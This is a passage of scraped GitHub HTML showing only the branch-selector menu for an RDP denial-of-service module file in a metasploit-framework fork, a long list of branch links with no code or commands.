class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/jgor-lantronix_telnet_password-bugfixes/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="jgor-lantronix_telnet_password-bugfixes" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="jgor-lantronix_telnet_password-bugfixes">jgor-lantronix_telnet_password-bugfixes</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/jlee-r7-cleanup/specs/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="jlee-r7-cleanup/specs" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="jlee-r7-cleanup/specs">jlee-r7-cleanup/specs</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/joomla_references/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="joomla_references" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="joomla_references">joomla_references</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/joomla_upload/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="joomla_upload" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="joomla_upload">joomla_upload</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/joomla_work/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="joomla_work" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="joomla_work">joomla_work</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/jre7u17/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="jre7u17" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="jre7u17">jre7u17</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/jtr_seeding/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="jtr_seeding" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="jtr_seeding">jtr_seeding</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-actfax_local_exploit/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="jvazquez-r7-actfax_local_exploit" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="jvazquez-r7-actfax_local_exploit">jvazquez-r7-actfax_local_exploit</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-allmediaserver_review/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="jvazquez-r7-allmediaserver_review" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="jvazquez-r7-allmediaserver_review">jvazquez-r7-allmediaserver_review</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-apache_activemq_traversal/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="jvazquez-r7-apache_activemq_traversal" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="jvazquez-r7-apache_activemq_traversal">jvazquez-r7-apache_activemq_traversal</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-apple_quicktime_texml_zdi/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="jvazquez-r7-apple_quicktime_texml_zdi" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="jvazquez-r7-apple_quicktime_texml_zdi">jvazquez-r7-apple_quicktime_texml_zdi</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-atlassian_crowd/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="jvazquez-r7-atlassian_crowd" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="jvazquez-r7-atlassian_crowd">jvazquez-r7-atlassian_crowd</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-client_system_analyzer_upload/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="jvazquez-r7-client_system_analyzer_upload" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="jvazquez-r7-client_system_analyzer_upload">jvazquez-r7-client_system_analyzer_upload</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-enum_db/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="jvazquez-r7-enum_db" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="jvazquez-r7-enum_db">jvazquez-r7-enum_db</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-gimp_script_fu/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="jvazquez-r7-gimp_script_fu" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="jvazquez-r7-gimp_script_fu">jvazquez-r7-gimp_script_fu</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-h0ng10-Openfire-auth-bypass/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="jvazquez-r7-h0ng10-Openfire-auth-bypass" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="jvazquez-r7-h0ng10-Openfire-auth-bypass">jvazquez-r7-h0ng10-Openfire-auth-bypass</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-hp_alm_xgo_setshapenodetype_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="jvazquez-r7-hp_alm_xgo_setshapenodetype_exec" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="jvazquez-r7-hp_alm_xgo_setshapenodetype_exec">jvazquez-r7-hp_alm_xgo_setshapenodetype_exec</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-hpdp_new_folder_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="jvazquez-r7-hpdp_new_folder_bof" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="jvazquez-r7-hpdp_new_folder_bof">jvazquez-r7-hpdp_new_folder_bof</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-ie_uaf_js_spray_obfuscate/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="jvazquez-r7-ie_uaf_js_spray_obfuscate" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="jvazquez-r7-ie_uaf_js_spray_obfuscate">jvazquez-r7-ie_uaf_js_spray_obfuscate</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-indusoft_webstudio_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="jvazquez-r7-indusoft_webstudio_exec" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="jvazquez-r7-indusoft_webstudio_exec">jvazquez-r7-indusoft_webstudio_exec</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-invision_pboard_cookie_prefix/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="jvazquez-r7-invision_pboard_cookie_prefix" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="jvazquez-r7-invision_pboard_cookie_prefix">jvazquez-r7-invision_pboard_cookie_prefix</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-invision_pboard_unserialize_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="jvazquez-r7-invision_pboard_unserialize_exec" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="jvazquez-r7-invision_pboard_unserialize_exec">jvazquez-r7-invision_pboard_unserialize_exec</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-keyhelp_launchtripane_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="jvazquez-r7-keyhelp_launchtripane_exec" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="jvazquez-r7-keyhelp_launchtripane_exec">jvazquez-r7-keyhelp_launchtripane_exec</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-lmgrd_overflow/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="jvazquez-r7-lmgrd_overflow" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="jvazquez-r7-lmgrd_overflow">jvazquez-r7-lmgrd_overflow</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-msxml_get_definition_code_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="jvazquez-r7-msxml_get_definition_code_exec" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="jvazquez-r7-msxml_get_definition_code_exec">jvazquez-r7-msxml_get_definition_code_exec</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-ntr_activex_stopmodule/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="jvazquez-r7-ntr_activex_stopmodule" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="jvazquez-r7-ntr_activex_stopmodule">jvazquez-r7-ntr_activex_stopmodule</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-pbot_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="jvazquez-r7-pbot_exec" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="jvazquez-r7-pbot_exec">jvazquez-r7-pbot_exec</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-review_irfanview/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="jvazquez-r7-review_irfanview" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="jvazquez-r7-review_irfanview">jvazquez-r7-review_irfanview</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-sap_host_control_cmd_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="jvazquez-r7-sap_host_control_cmd_exec" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="jvazquez-r7-sap_host_control_cmd_exec">jvazquez-r7-sap_host_control_cmd_exec</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-sap_netweaver_dispatcher/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="jvazquez-r7-sap_netweaver_dispatcher" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="jvazquez-r7-sap_netweaver_dispatcher">jvazquez-r7-sap_netweaver_dispatcher</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-setinfopolicy_heap/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="jvazquez-r7-setinfopolicy_heap" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="jvazquez-r7-setinfopolicy_heap">jvazquez-r7-setinfopolicy_heap</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-sugarcrm_unserialize_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="jvazquez-r7-sugarcrm_unserialize_exec" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="jvazquez-r7-sugarcrm_unserialize_exec">jvazquez-r7-sugarcrm_unserialize_exec</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-tikiwiki_unserialize_rce/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="jvazquez-r7-tikiwiki_unserialize_rce" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="jvazquez-r7-tikiwiki_unserialize_rce">jvazquez-r7-tikiwiki_unserialize_rce</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-umbraco_upload_aspx_rev/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="jvazquez-r7-umbraco_upload_aspx_rev" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="jvazquez-r7-umbraco_upload_aspx_rev">jvazquez-r7-umbraco_upload_aspx_rev</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-zenworks_preboot_op4c_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="jvazquez-r7-zenworks_preboot_op4c_bof" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="jvazquez-r7-zenworks_preboot_op4c_bof">jvazquez-r7-zenworks_preboot_op4c_bof</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-zenworks_preboot_op6c_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="jvazquez-r7-zenworks_preboot_op6c_bof" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="jvazquez-r7-zenworks_preboot_op6c_bof">jvazquez-r7-zenworks_preboot_op6c_bof</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/kernelsmith-post_file_rename2/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="kernelsmith-post_file_rename2" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="kernelsmith-post_file_rename2">kernelsmith-post_file_rename2</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/kingview_kingmess_kvl/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="kingview_kingmess_kvl" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="kingview_kingmess_kvl">kingview_kingmess_kvl</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/kloxo_lxsuexec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="kloxo_lxsuexec" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="kloxo_lxsuexec">kloxo_lxsuexec</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/linksys_e1500_more_work/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="linksys_e1500_more_work" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="linksys_e1500_more_work">linksys_e1500_more_work</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/linksys_m1k3_work/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="linksys_m1k3_work" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="linksys_m1k3_work">linksys_m1k3_work</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/linksys_wrt54gl_exec_try_fix/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="linksys_wrt54gl_exec_try_fix" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="linksys_wrt54gl_exec_try_fix">linksys_wrt54gl_exec_try_fix</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/linksys_wrt54gl_work/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="linksys_wrt54gl_work" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="linksys_wrt54gl_work">linksys_wrt54gl_work</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/load_runner_research/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="load_runner_research" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="load_runner_research">load_runner_research</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/local_cleanup/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="local_cleanup" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="local_cleanup">local_cleanup</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/master/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="master" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="master">master</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/master-web-modules/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="master-web-modules" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="master-web-modules">master-web-modules</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/maxthon/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="maxthon" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="maxthon">maxthon</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/maxthon_history_xcs_cleanup/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="maxthon_history_xcs_cleanup" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="maxthon_history_xcs_cleanup">maxthon_history_xcs_cleanup</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/mediawiki_svg/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="mediawiki_svg" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="mediawiki_svg">mediawiki_svg</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/meterpreter-submodule/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="meterpreter-submodule" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="meterpreter-submodule">meterpreter-submodule</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/miniupnp_dos_clean/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="miniupnp_dos_clean" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="miniupnp_dos_clean">miniupnp_dos_clean</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/mipsbe_elf/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="mipsbe_elf" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="mipsbe_elf">mipsbe_elf</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/mipsle_elf_support/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="mipsle_elf_support" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="mipsle_elf_support">mipsle_elf_support</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/moinmoin_restore/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="moinmoin_restore" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="moinmoin_restore">moinmoin_restore</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/moinmoin_twikidraw/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="moinmoin_twikidraw" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="moinmoin_twikidraw">moinmoin_twikidraw</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/morisson-master/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="morisson-master" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="morisson-master">morisson-master</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/mrmee-cmdsnd_ftp_exploit/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="mrmee-cmdsnd_ftp_exploit" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="mrmee-cmdsnd_ftp_exploit">mrmee-cmdsnd_ftp_exploit</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item "> - <span class="select-menu-item-icon octicon octicon-check"></span> - <a href="/jvazquez-r7/metasploit-framework/blob/mrmee-module-CVE-2011-2110/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" - data-name="mrmee-module-CVE-2011-2110" - data-skip-pjax="true" - rel="nofollow" - class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" - title="mrmee-module-CVE-2011-2110">mrmee-module-CVE-2011-2110</a> - </div> <!-- /.select-menu-item --> - <div class="select-menu-item js-navigation-item 